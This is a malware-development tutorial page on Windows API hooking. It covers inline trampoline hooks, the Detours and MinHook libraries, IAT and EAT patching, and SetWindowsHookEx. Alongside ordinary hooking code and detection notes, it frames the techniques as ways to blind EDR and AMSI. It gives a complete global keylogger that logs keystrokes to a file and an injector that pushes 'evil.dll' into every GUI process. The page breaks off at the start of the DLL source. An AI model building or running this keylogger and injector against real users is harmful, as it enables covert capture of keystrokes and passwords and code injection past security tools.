ᛉ Yggdrasil

Malware development

API Hooking

03 Oct 2026 · 9,535 words · 43 min

Contents

Legend: [HOOK] = Hooking technique | [TOOL] = Tool / library | [CODE] = Code implementation | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass / counter-detection | [WIN-API] = Windows API reference | [RING] = Privilege ring context


1. What is API Hooking & Why It Matters

What it means: API hooking is the technique of intercepting function calls at runtime to observe, modify, redirect, or block them. The hook sits between the caller and the real function — anything the caller sends goes through your code first.

Who uses it and why:

DEFENDERS (EDR / AV):
├─ Hook NtAllocateVirtualMemory → inspect all memory allocations
├─ Hook NtCreateThreadEx        → catch shellcode injection
├─ Hook CreateProcess           → monitor child process creation
├─ Hook WriteProcessMemory      → catch code injection attempts
└─ Hook AmsiScanBuffer          → scan content before execution

ATTACKERS / RED TEAMS:
├─ Hook functions to hide malicious activity
├─ Hook to intercept credentials (e.g., LogonUserW)
├─ Hook to bypass AMSI / ETW / EDR detection
├─ Hook for keylogging (SetWindowsHookEx WH_KEYBOARD)
└─ Hook to redirect execution to shellcode

The core hooking model:

Normal flow (no hook):
  Caller  →  Win32 API (kernel32.dll)  →  Native API (ntdll.dll)  →  Kernel

Hooked flow:
  Caller  →  Win32 API  →  [HOOK INTERCEPTS HERE]  →  Hook Function
                                                          ↓
                                              (log / modify / block)
                                                          ↓
                                          → Original Function (trampoline)
                                                          ↓
                                                    → Kernel

Hook types by layer:

Layer Ring Where Hooked Examples
Win32 API Ring 3 kernel32 / user32 functions CreateFile, MessageBoxA
Native API Ring 3 ntdll.dll Nt / Zw stubs NtAllocateVirtualMemory
Kernel Ring 0 SSDT, IDT, kernel code NtCreateProcess (kernel)
Message Ring 3 Windows message loop SetWindowsHookEx (WH_*)
Exception Ring 3 VEH / SEH chain Hardware breakpoints

2. Windows API Call Chain — How Calls Flow

Understanding the call chain is essential for knowing where to place a hook.

Application Code
      │
      ▼
High-Level Win32 API (kernel32.dll / user32.dll / advapi32.dll)
  e.g., CreateFile, VirtualAlloc, MessageBoxA
      │  (these are thin wrappers)
      ▼
Native API Stubs (ntdll.dll) — Nt* / Zw* functions
  e.g., NtCreateFile, NtAllocateVirtualMemory
      │
      │  [EDR hooks are usually placed HERE — user mode]
      │
      ▼
SYSCALL instruction (transitions to kernel mode Ring 0)
      │
      ▼
SSDT (System Service Descriptor Table) — kernel function pointer table
      │
      ▼
Kernel-mode function (ntoskrnl.exe)
  e.g., NtCreateFile (kernel implementation)
      │
      ▼
Hardware / Driver layer

Key insight for red teams:

EDR typically hooks ntdll.dll in user-mode.
If you:
  → Hook before EDR  → EDR never sees the call
  → Bypass ntdll     → EDR is blind (direct syscalls)
  → Unhook ntdll     → Removes EDR's visibility entirely

[OPSEC] The closer your hook is to the metal (syscall layer), the harder it is for EDR to detect or intercept.


3. Inline Hooking (Trampoline / Detour)

[HOOK] The most common and widely-used hooking method. Overwrites the first 5–14 bytes of the target function with a JMP instruction that redirects execution to your hook function. The original bytes are saved in a "trampoline" so the original function can still be called.

3.1 How Inline Hooking Works

BEFORE hook:
Target function (MessageBoxA):
  0x77AB1234:  48 83 EC 28     sub rsp, 0x28        ← original prologue
  0x77AB1238:  48 8B 05 ...    mov rax, [rip+...]
  0x77AB123C:  ...

AFTER hook installed:
Target function (MessageBoxA):
  0x77AB1234:  E9 CC BB AA 77  JMP 0x77AABBCC       ← overwritten → your hook
  0x77AB1238:  ...             (remaining original bytes)

Trampoline (saved prologue + JMP back):
  0xXXXXXXXX:  48 83 EC 28     (original bytes 1–5)
  0xXXXXXXXX:  48 8B 05 ...    (original bytes 6–14 — enough to be complete instructions)
  0xXXXXXXXX:  E9 ?? ?? ?? ??  JMP 0x77AB1239      ← jump back past the patch

x64 JMP mechanics:

Near JMP (5 bytes, within ±2GB):
  E9 XX XX XX XX    (rel32 offset)

Far JMP (14 bytes, full 64-bit address):
  FF 25 00 00 00 00   JMP [rip+0]
  XX XX XX XX XX XX XX XX  (absolute 64-bit address)
  → Required when hook function is > 2GB away from target

3.2 Manual Inline Hook — x64 C Implementation

// inline_hook.c — Manual 64-bit inline hook (no library)
// Hooks MessageBoxW and intercepts arguments before calling original

#include <Windows.h>
#include <stdio.h>

// ── Type definitions ──────────────────────────────────────────
typedef int (WINAPI *fpMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);

// ── Globals ───────────────────────────────────────────────────
fpMessageBoxW pOriginalMessageBoxW = NULL;
BYTE          g_OriginalBytes[14]   = {0};   // saved prologue bytes
BOOL          g_Hooked              = FALSE;

// ── Our hook function (called instead of MessageBoxW) ─────────
int WINAPI HookedMessageBoxW(HWND hWnd, LPCWSTR lpText,
                              LPCWSTR lpCaption, UINT uType) {
    wprintf(L"[HOOK] MessageBoxW intercepted!\n");
    wprintf(L"[HOOK] Text:    %ls\n", lpText);
    wprintf(L"[HOOK] Caption: %ls\n", lpCaption);

    // Optional: modify arguments before calling original
    // lpText = L"Hooked!";

    // Call the original via trampoline
    return pOriginalMessageBoxW(hWnd, lpText, lpCaption, uType);
}

// ── Install hook using 14-byte far JMP (x64-safe) ─────────────
BOOL InstallHook(LPCSTR moduleName, LPCSTR funcName, PVOID hookFunc) {
    // Get address of target function
    HMODULE hMod  = GetModuleHandleA(moduleName);
    if (!hMod) hMod = LoadLibraryA(moduleName);
    PVOID   pFunc = GetProcAddress(hMod, funcName);
    if (!pFunc) return FALSE;

    // Save original bytes (14 bytes for far JMP)
    memcpy(g_OriginalBytes, pFunc, sizeof(g_OriginalBytes));

    // Build 14-byte far JMP: FF 25 00000000 + [8-byte address]
    BYTE patch[14] = {
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,  // JMP [rip+0]
        0x00, 0x00, 0x00, 0x00,               // address bytes (low DWORD)
        0x00, 0x00, 0x00, 0x00                // address bytes (high DWORD)
    };
    *(ULONG_PTR*)(patch + 6) = (ULONG_PTR)hookFunc;

    // Make memory writable
    DWORD oldProtect;
    VirtualProtect(pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);

    // Write the JMP patch
    memcpy(pFunc, patch, sizeof(patch));

    // Restore memory protection
    VirtualProtect(pFunc, sizeof(patch), oldProtect, &oldProtect);

    g_Hooked = TRUE;
    printf("[+] Hook installed on %s!%s at 0x%p\n", moduleName, funcName, pFunc);
    return TRUE;
}

// ── Remove hook (restore original bytes) ──────────────────────
BOOL RemoveHook(LPCSTR moduleName, LPCSTR funcName) {
    HMODULE hMod  = GetModuleHandleA(moduleName);
    PVOID   pFunc = GetProcAddress(hMod, funcName);
    if (!pFunc) return FALSE;

    DWORD oldProtect;
    VirtualProtect(pFunc, sizeof(g_OriginalBytes), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pFunc, g_OriginalBytes, sizeof(g_OriginalBytes));
    VirtualProtect(pFunc, sizeof(g_OriginalBytes), oldProtect, &oldProtect);

    g_Hooked = FALSE;
    printf("[+] Hook removed from %s!%s\n", moduleName, funcName);
    return TRUE;
}

// ── Test ──────────────────────────────────────────────────────
int main(void) {
    // Save pointer to trampoline (original function bytes)
    pOriginalMessageBoxW = (fpMessageBoxW)MessageBoxW;

    // Install hook
    InstallHook("user32.dll", "MessageBoxW", HookedMessageBoxW);

    // This call now hits our hook
    MessageBoxW(NULL, L"Hello World", L"Test", MB_OK);

    // Remove hook
    RemoveHook("user32.dll", "MessageBoxW");

    // This call now goes to real MessageBoxW
    MessageBoxW(NULL, L"Hello World", L"Test", MB_OK);

    return 0;
}

Compile:

# MSVC
cl.exe inline_hook.c /Fe:inline_hook.exe /link user32.lib

# MinGW cross-compile
x86_64-w64-mingw32-gcc inline_hook.c -o inline_hook.exe -luser32

3.3 Trampoline — Proper Implementation

The simple pointer trick above (pOriginalMessageBoxW = MessageBoxW) does not create a real trampoline — it still points to the overwritten JMP. A real trampoline copies the displaced bytes to allocated executable memory:

// Proper trampoline allocation
PVOID CreateTrampoline(PVOID pTarget, BYTE* savedBytes, SIZE_T savedLen) {
    // Allocate executable memory for trampoline
    PVOID pTrampoline = VirtualAlloc(NULL, savedLen + 14,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);
    if (!pTrampoline) return NULL;

    // Copy original displaced bytes into trampoline
    memcpy(pTrampoline, savedBytes, savedLen);

    // Build JMP back to target+savedLen (resume execution after patch)
    BYTE jmpBack[14] = {
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00
    };
    *(ULONG_PTR*)(jmpBack + 6) = (ULONG_PTR)((BYTE*)pTarget + savedLen);
    memcpy((BYTE*)pTrampoline + savedLen, jmpBack, sizeof(jmpBack));

    return pTrampoline;
}
// pTrampoline now acts as a safe "call original" function pointer

[DETECT] Inline hooks are detectable by integrity checks that hash or scan the first bytes of functions. EDRs often periodically re-scan function prologues looking for E9 or FF 25 patterns.


4. Microsoft Detours Library

[TOOL] Detours is Microsoft Research's official x86/x64/ARM hook library. It handles trampoline creation, instruction boundary alignment, and thread safety atomically. Production-grade and used by both offensive and defensive tools.

GitHub: https://github.com/microsoft/Detours
NuGet: Microsoft.Detours

4.1 Install Detours

# vcpkg (recommended)
.\vcpkg\vcpkg install detours:x64-windows

# Or build from source
git clone https://github.com/microsoft/Detours
cd Detours
nmake           # MSVC required
# Output: lib.X64/detours.lib and include/detours.h

4.2 Detours Hook — Basic Example

// detours_hook.c — Hook MessageBoxW using Microsoft Detours
#include <Windows.h>
#include <detours.h>
#include <stdio.h>
#pragma comment(lib, "detours.lib")
#pragma comment(lib, "user32.lib")

// ── Pointer to original function (Detours updates this) ───────
static int (WINAPI *TrueMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT)
    = MessageBoxW;

// ── Hook function ─────────────────────────────────────────────
int WINAPI HookedMessageBoxW(HWND hWnd, LPCWSTR lpText,
                              LPCWSTR lpCaption, UINT uType) {
    wprintf(L"[DETOUR] MessageBoxW intercepted!\n");
    wprintf(L"[DETOUR] Text:    %ls\n", lpText);
    wprintf(L"[DETOUR] Caption: %ls\n", lpCaption);

    // Call original via trampoline (Detours sets this up automatically)
    return TrueMessageBoxW(hWnd, lpText, lpCaption, uType);
}

// ── Install hook ──────────────────────────────────────────────
void HookInstall(void) {
    DetourTransactionBegin();            // start atomic transaction
    DetourUpdateThread(GetCurrentThread()); // ensure thread safety
    DetourAttach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
    LONG result = DetourTransactionCommit();  // apply all hooks atomically

    if (result == NO_ERROR)
        printf("[+] Detours hook installed\n");
    else
        printf("[-] Detours hook failed: %ld\n", result);
}

// ── Remove hook ───────────────────────────────────────────────
void HookRemove(void) {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
    DetourTransactionCommit();
    printf("[+] Detours hook removed\n");
}

int main(void) {
    HookInstall();

    MessageBoxW(NULL, L"Before unhook", L"Test", MB_OK);

    HookRemove();

    MessageBoxW(NULL, L"After unhook", L"Test", MB_OK);
    return 0;
}

4.3 Hooking Multiple Functions in One Transaction

// Hook multiple functions atomically — all succeed or all fail
static HANDLE (WINAPI *TrueCreateFileW)(LPCWSTR, DWORD, DWORD,
    LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE) = CreateFileW;

static BOOL (WINAPI *TrueWriteFile)(HANDLE, LPCVOID, DWORD,
    LPDWORD, LPOVERLAPPED) = WriteFile;

HANDLE WINAPI HookedCreateFileW(LPCWSTR lpFileName, DWORD dwAccess,
    DWORD dwShare, LPSECURITY_ATTRIBUTES lpSA, DWORD dwCreate,
    DWORD dwFlags, HANDLE hTemplate) {

    wprintf(L"[HOOK] CreateFileW: %ls\n", lpFileName);
    return TrueCreateFileW(lpFileName, dwAccess, dwShare,
                           lpSA, dwCreate, dwFlags, hTemplate);
}

BOOL WINAPI HookedWriteFile(HANDLE hFile, LPCVOID lpBuffer,
    DWORD nBytes, LPDWORD lpWritten, LPOVERLAPPED lpOverlapped) {

    printf("[HOOK] WriteFile: %lu bytes\n", nBytes);
    return TrueWriteFile(hFile, lpBuffer, nBytes, lpWritten, lpOverlapped);
}

void InstallMultipleHooks(void) {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)TrueCreateFileW, HookedCreateFileW);
    DetourAttach(&(PVOID&)TrueWriteFile, HookedWriteFile);
    DetourTransactionCommit();  // atomic — either both or neither installed
}

4.4 Detours DLL Injection via withdll.exe

# withdll.exe ships with Detours
# Launches a process with a DLL injected that uses Detours hooks

withdll.exe /d:hook.dll target.exe

# hook.dll contains DllMain that calls DetourAttach in DLL_PROCESS_ATTACH
// hook.dll — DllMain-based Detours hook for injection
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpRes) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        DetourRestoreAfterWith();   // restore pre-injection state (Detours compat)
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
        DetourTransactionCommit();
    }
    if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
        DetourTransactionCommit();
    }
    return TRUE;
}

[OPSEC] DetourRestoreAfterWith() must be called when injecting via withdll.exe. It restores the payload section that Detours modifies during injection.


5. MinHook Library

[TOOL] MinHook is a minimalistic x86/x64 hook library with a clean API. No transaction complexity — just MH_CreateHook, MH_EnableHook, MH_DisableHook. Also supports ARM64 via the MinHook-Detours fork.

GitHub: https://github.com/TsudaKageyu/minhook
Latest version: v1.3.4 (March 2025) — Visual Studio 2022, CMake, Clang support

5.1 Install MinHook

# vcpkg
.\vcpkg\vcpkg install minhook

# Or manually: download minhook.h + minhook.lib from GitHub releases
# Link: minhook.lib

5.2 MinHook — Basic Hook

// minhook_hook.c — Hook MessageBoxW using MinHook
#include <Windows.h>
#include <MinHook.h>
#include <stdio.h>
#pragma comment(lib, "libMinHook.x64.lib")
#pragma comment(lib, "user32.lib")

// ── Function pointer type ─────────────────────────────────────
typedef int (WINAPI *LPFN_MessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);

// ── Pointer to original (trampoline) — MinHook fills this in ──
LPFN_MessageBoxW g_fpOriginalMessageBoxW = NULL;

// ── Hook function ─────────────────────────────────────────────
int WINAPI HookedMessageBoxW(HWND hWnd, LPCWSTR lpText,
                              LPCWSTR lpCaption, UINT uType) {
    wprintf(L"[MINHOOK] Intercepted! Text: %ls\n", lpText);
    // Call original through trampoline
    return g_fpOriginalMessageBoxW(hWnd, L"Hooked by MinHook!", lpCaption, uType);
}

int main(void) {
    // Initialize MinHook engine
    if (MH_Initialize() != MH_OK) {
        printf("[-] MH_Initialize failed\n");
        return 1;
    }

    // Create hook: target | detour | trampoline pointer
    if (MH_CreateHook(&MessageBoxW, &HookedMessageBoxW,
                      (LPVOID*)&g_fpOriginalMessageBoxW) != MH_OK) {
        printf("[-] MH_CreateHook failed\n");
        return 1;
    }

    // Enable the hook
    if (MH_EnableHook(&MessageBoxW) != MH_OK) {
        printf("[-] MH_EnableHook failed\n");
        return 1;
    }
    printf("[+] Hook enabled\n");

    MessageBoxW(NULL, L"Test Message", L"Test", MB_OK);  // → hooked

    // Disable hook
    MH_DisableHook(&MessageBoxW);
    printf("[+] Hook disabled\n");

    MessageBoxW(NULL, L"Test Message", L"Test", MB_OK);  // → original

    // Uninitialize
    MH_Uninitialize();
    return 0;
}

5.3 MinHook — Hook by Module + Name (MH_CreateHookApiEx)

// Hook by module name and function name — no need for GetProcAddress
LPFN_MessageBoxW g_fpOriginal = NULL;

if (MH_CreateHookApiEx(L"user32", L"MessageBoxW",
                        &HookedMessageBoxW,
                        (LPVOID*)&g_fpOriginal,
                        NULL) != MH_OK) {
    printf("[-] Failed\n");
}
MH_EnableHook(MH_ALL_HOOKS);  // enable all registered hooks at once

5.4 MinHook — Hook ntdll Native API

// Hook NtAllocateVirtualMemory (ntdll)
#include <Windows.h>
#include <MinHook.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *fpNtAllocVirtMem)(
    HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);

fpNtAllocVirtMem g_fpOriginalNtAlloc = NULL;

NTSTATUS NTAPI HookedNtAllocateVirtualMemory(
    HANDLE ProcessHandle, PVOID* BaseAddress,
    ULONG_PTR ZeroBits, PSIZE_T RegionSize,
    ULONG AllocationType, ULONG Protect) {

    printf("[HOOK] NtAllocateVirtualMemory — PID: %lu | Size: %zu | Protect: 0x%X\n",
           GetProcessId(ProcessHandle), *RegionSize, Protect);

    // Block RWX allocations (common shellcode pattern)
    if (Protect == PAGE_EXECUTE_READWRITE) {
        printf("[BLOCK] RWX allocation blocked!\n");
        return STATUS_ACCESS_DENIED;
    }

    return g_fpOriginalNtAlloc(ProcessHandle, BaseAddress,
                               ZeroBits, RegionSize, AllocationType, Protect);
}

void HookNtdll(void) {
    MH_Initialize();
    MH_CreateHookApiEx(L"ntdll", L"NtAllocateVirtualMemory",
                        &HookedNtAllocateVirtualMemory,
                        (LPVOID*)&g_fpOriginalNtAlloc, NULL);
    MH_EnableHook(MH_ALL_HOOKS);
}

[DETECT] MinHook writes a JMP into the function prologue just like manual inline hooking. EDR integrity scanners will detect the E9/FF25 bytes.


6. IAT Hooking (Import Address Table)

[HOOK] IAT hooking modifies the Import Address Table of the calling module. Instead of patching the function itself, it replaces the function pointer in the IAT — so when the target module calls MessageBoxW, the pointer in its IAT now points to your hook. The function code in user32.dll is never touched.

6.1 PE Structure — IAT Location

PE File Structure:
┌────────────────────────────────────────┐
│  DOS Header (IMAGE_DOS_HEADER)         │
│  PE Header  (IMAGE_NT_HEADERS)         │
│  Optional Header → DataDirectory[1]   │ ← Import Directory
│    → IMAGE_IMPORT_DESCRIPTOR[]         │
│        │                               │
│        ├─ Name: "user32.dll"           │
│        ├─ OriginalFirstThunk → INT     │ (Import Name Table)
│        └─ FirstThunk → IAT            │ ← WRITE YOUR HOOK HERE
│               │                        │
│               └─ [0]: addr of MessageBoxW
│               └─ [1]: addr of CreateWindowExW
│               └─ ...                  │
└────────────────────────────────────────┘

IAT entry BEFORE load:  0x00000000 (filled by loader)
IAT entry AFTER  load:  0x77AB1234 (real MessageBoxW in user32.dll)
IAT entry AFTER  hook:  0xXXXXXXXX (your hook function address)

6.2 IAT Hook — Full C Implementation

// iat_hook.c — Hook MessageBoxA in a target process via IAT manipulation
#include <Windows.h>
#include <stdio.h>

// ── Our hook function ─────────────────────────────────────────
int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText,
                              LPCSTR lpCaption, UINT uType) {
    printf("[IAT HOOK] MessageBoxA intercepted!\n");
    printf("[IAT HOOK] Text: %s\n", lpText);
    // Call real function directly (not through IAT — avoids re-hooking)
    return ((int(WINAPI*)(HWND,LPCSTR,LPCSTR,UINT))
             GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA"))
            (hWnd, lpText, lpCaption, uType);
}

// ── Walk the IAT and replace function pointer ─────────────────
BOOL HookIAT(HMODULE hModule,       // module whose IAT to patch
             LPCSTR  targetDll,     // e.g. "user32.dll"
             LPCSTR  targetFunc,    // e.g. "MessageBoxA"
             PVOID   hookFunc) {    // replacement function

    // Base address of the module
    DWORD_PTR baseAddr = (DWORD_PTR)hModule;

    // Parse PE headers
    PIMAGE_DOS_HEADER      pDOS  = (PIMAGE_DOS_HEADER)baseAddr;
    PIMAGE_NT_HEADERS      pNT   = (PIMAGE_NT_HEADERS)(baseAddr + pDOS->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR pImport =
        (PIMAGE_IMPORT_DESCRIPTOR)(baseAddr +
            pNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    // Walk import descriptors (one per imported DLL)
    for (; pImport->Name != 0; pImport++) {
        LPCSTR importedDll = (LPCSTR)(baseAddr + pImport->Name);

        // Case-insensitive match on DLL name
        if (_stricmp(importedDll, targetDll) != 0)
            continue;

        // Walk the IAT (FirstThunk) and INT (OriginalFirstThunk) in parallel
        PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(baseAddr + pImport->OriginalFirstThunk);
        PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(baseAddr + pImport->FirstThunk);

        for (; pINT->u1.Function != 0; pINT++, pIAT++) {
            // Skip ordinal imports
            if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal))
                continue;

            // Get the function name from INT
            PIMAGE_IMPORT_BY_NAME pIBN =
                (PIMAGE_IMPORT_BY_NAME)(baseAddr + pINT->u1.AddressOfData);

            if (strcmp((LPCSTR)pIBN->Name, targetFunc) != 0)
                continue;

            // Found — change memory protection and overwrite IAT pointer
            DWORD oldProtect;
            VirtualProtect(&pIAT->u1.Function,
                           sizeof(DWORD_PTR), PAGE_READWRITE, &oldProtect);

            pIAT->u1.Function = (DWORD_PTR)hookFunc;

            VirtualProtect(&pIAT->u1.Function,
                           sizeof(DWORD_PTR), oldProtect, &oldProtect);

            printf("[+] IAT hook installed: %s!%s @ 0x%p\n",
                   targetDll, targetFunc, &pIAT->u1.Function);
            return TRUE;
        }
    }

    printf("[-] Function %s!%s not found in IAT\n", targetDll, targetFunc);
    return FALSE;
}

int main(void) {
    // Hook MessageBoxA in the current process's own IAT
    HMODULE hSelf = GetModuleHandle(NULL);   // NULL = current executable
    HookIAT(hSelf, "user32.dll", "MessageBoxA", HookedMessageBoxA);

    // Now calls from THIS module go through our hook
    MessageBoxA(NULL, "Hello!", "Test", MB_OK);
    return 0;
}

Compile:

cl.exe iat_hook.c /Fe:iat_hook.exe /link user32.lib

6.3 IAT Hook Notes

Scope:       Only hooks calls FROM the module whose IAT is patched
             (does NOT affect calls from other modules)

Detection:   EDR scanners walk the IAT and check that every pointer
             lands inside its expected module's memory range.
             Tools: PE-sieve, pe-bear

OPSEC:       IAT hook does not modify function code → no E9 patch
             → Survives function integrity checks
             → But FAILS if the target module resolves the function
               dynamically (GetProcAddress) instead of via IAT

7. EAT Hooking (Export Address Table)

[HOOK] EAT hooking modifies the Export Address Table of a DLL so that when any module calls GetProcAddress on a function in that DLL, it gets your hook address instead of the real one. Affects all callers that use GetProcAddress at runtime.

7.1 EAT Hook — C Implementation

// eat_hook.c — Modify the EAT of user32.dll to redirect MessageBoxA
#include <Windows.h>
#include <stdio.h>

int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText,
                              LPCSTR lpCaption, UINT uType) {
    printf("[EAT HOOK] MessageBoxA via GetProcAddress intercepted!\n");
    return 0;
}

BOOL HookEAT(HMODULE hModule, LPCSTR targetFunc, PVOID hookFunc) {
    DWORD_PTR base = (DWORD_PTR)hModule;

    PIMAGE_DOS_HEADER  pDOS = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS  pNT  = (PIMAGE_NT_HEADERS)(base + pDOS->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExport =
        (PIMAGE_EXPORT_DIRECTORY)(base +
            pNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // Arrays in the EAT
    DWORD* pFunctions = (DWORD*)(base + pExport->AddressOfFunctions);
    DWORD* pNames     = (DWORD*)(base + pExport->AddressOfNames);
    WORD*  pOrdinals  = (WORD*)( base + pExport->AddressOfNameOrdinals);

    // Walk the name table
    for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
        LPCSTR funcName = (LPCSTR)(base + pNames[i]);
        if (strcmp(funcName, targetFunc) != 0) continue;

        // Get index into function table via ordinal array
        WORD ordinal    = pOrdinals[i];
        DWORD* pFuncRVA = &pFunctions[ordinal];

        // Calculate hook's RVA relative to module base
        DWORD hookRVA = (DWORD)((DWORD_PTR)hookFunc - base);

        // Write hook RVA into the EAT
        DWORD oldProtect;
        VirtualProtect(pFuncRVA, sizeof(DWORD), PAGE_READWRITE, &oldProtect);
        *pFuncRVA = hookRVA;
        VirtualProtect(pFuncRVA, sizeof(DWORD), oldProtect, &oldProtect);

        printf("[+] EAT hook installed: %s (ordinal %d) → 0x%p\n",
               targetFunc, ordinal, hookFunc);
        return TRUE;
    }
    return FALSE;
}

// Note: hookFunc must be in the same module as hModule for RVA to be valid
// In practice, use a shellcode/code cave in the DLL or inject your DLL first

[OPSEC] EAT hooking requires the hook function to be within the same module (or at least within 32-bit RVA range). Best used in combination with DLL injection — inject your DLL, then patch the EAT of the target DLL from within it.


8. SetWindowsHookEx — Windows Message Hooks

[WIN-API] SetWindowsHookEx installs a hook into the Windows message processing chain. It can intercept keyboard events, mouse events, window creation/destruction, and more — system-wide or per-thread. It also serves as a classic DLL injection vector.

Syntax:

HHOOK SetWindowsHookExW(
    int       idHook,      // Hook type (WH_KEYBOARD, WH_MOUSE, etc.)
    HOOKPROC  lpfn,        // Pointer to hook procedure
    HINSTANCE hmod,        // Handle to DLL containing lpfn (NULL for thread-only)
    DWORD     dwThreadId   // 0 = global (all threads), or specific thread ID
);

8.1 Hook Types Reference

Hook ID Value Intercepts Scope
WH_KEYBOARD 2 WM_KEYDOWN / WM_KEYUP (message queue) Thread or global
WH_KEYBOARD_LL 13 Low-level keyboard input (before message queue) Global only
WH_MOUSE 7 Mouse messages from message queue Thread or global
WH_MOUSE_LL 14 Low-level mouse input Global only
WH_CBT 5 Window create/destroy/activate/move/size events Thread or global
WH_CALLWNDPROC 4 Messages sent to window procedures Thread or global
WH_CALLWNDPROCRET 12 Messages after window procedure returns Thread or global
WH_GETMESSAGE 3 Messages retrieved from message queue Thread or global
WH_SHELL 10 Shell notifications (window activation, taskbar) Thread or global
WH_SYSMSGFILTER 6 System-wide messages Global only
WH_FOREGROUNDIDLE 11 Foreground thread idle Thread or global
WH_DEBUG 9 Debugging other hooks Thread or global

8.2 Global Keyboard Hook (Keylogger)

// keylogger_hook.c — Global keyboard hook via SetWindowsHookExW
// Must be in a DLL for global scope (system-wide keylogging)

#include <Windows.h>
#include <stdio.h>

static HHOOK g_hKeyboardHook = NULL;
static FILE* g_logFile        = NULL;

// ── Hook procedure ────────────────────────────────────────────
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        PKBDLLHOOKSTRUCT pKbd = (PKBDLLHOOKSTRUCT)lParam;

        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            // Convert virtual key code to character
            BYTE kbState[256] = {0};
            GetKeyboardState(kbState);

            wchar_t buf[5] = {0};
            int result = ToUnicode(pKbd->vkCode, pKbd->scanCode,
                                   kbState, buf, 4, 0);

            if (result > 0) {
                wprintf(L"[KEY] %ls\n", buf);
                if (g_logFile) fwprintf(g_logFile, L"%ls", buf);
            } else {
                // Special key — log virtual key name
                char keyName[64] = {0};
                GetKeyNameTextA((pKbd->scanCode << 16) |
                                (pKbd->flags & LLKHF_EXTENDED ? 0x01000000 : 0),
                                keyName, sizeof(keyName));
                printf("[SPECIAL] %s\n", keyName);
            }
        }
    }
    // MUST call CallNextHookEx to pass to next hook in chain
    return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}

// ── Install global keyboard hook ──────────────────────────────
void InstallKeyboardHook(void) {
    g_logFile = fopen("keys.log", "a");

    // WH_KEYBOARD_LL — low-level, system-wide, no DLL injection needed
    g_hKeyboardHook = SetWindowsHookExW(WH_KEYBOARD_LL,
                                         LowLevelKeyboardProc,
                                         NULL,   // NULL for LL hooks
                                         0);     // 0 = all threads
    if (g_hKeyboardHook)
        printf("[+] Keyboard hook installed\n");
    else
        printf("[-] Failed: %lu\n", GetLastError());
}

int main(void) {
    InstallKeyboardHook();

    // Message loop required — LL hooks need a pump
    MSG msg;
    printf("[*] Listening... Press Ctrl+C to stop\n");
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(g_hKeyboardHook);
    if (g_logFile) fclose(g_logFile);
    return 0;
}

Compile:

cl.exe keylogger_hook.c /Fe:keyhook.exe /link user32.lib

8.3 SetWindowsHookEx as DLL Injection Vector

[HOOK] When dwThreadId = 0 (global) and hmod points to a DLL, Windows automatically injects that DLL into every process that has a GUI message loop — this is a classic DLL injection technique.

// injector.c — Use SetWindowsHookEx to inject evil.dll into all GUI processes
#include <Windows.h>
#include <stdio.h>

int main(void) {
    // Load the DLL to inject
    HMODULE hDll = LoadLibraryA("evil.dll");
    if (!hDll) {
        printf("[-] Failed to load DLL: %lu\n", GetLastError());
        return 1;
    }

    // Get exported hook proc from the DLL
    // (evil.dll must export a HOOKPROC function)
    HOOKPROC hookProc = (HOOKPROC)GetProcAddress(hDll, "HookProc");
    if (!hookProc) {
        printf("[-] HookProc export not found\n");
        return 1;
    }

    // Install GLOBAL keyboard hook — Windows injects evil.dll into all GUI processes
    HHOOK hHook = SetWindowsHookExW(WH_KEYBOARD,
                                     hookProc,
                                     hDll,
                                     0);      // 0 = all threads = DLL injection
    if (!hHook) {
        printf("[-] SetWindowsHookEx failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[+] Hook installed — evil.dll injected into GUI processes\n");
    printf("[*] Press any key in any GUI app to trigger...\n");

    Sleep(10000);   // Keep running so hook stays active

    UnhookWindowsHookEx(hHook);
    FreeLibrary(hDll);
    return 0;
}
// evil.dll — The injected DLL (must export HookProc)
// evil_dll.c
#include <Windows.h>

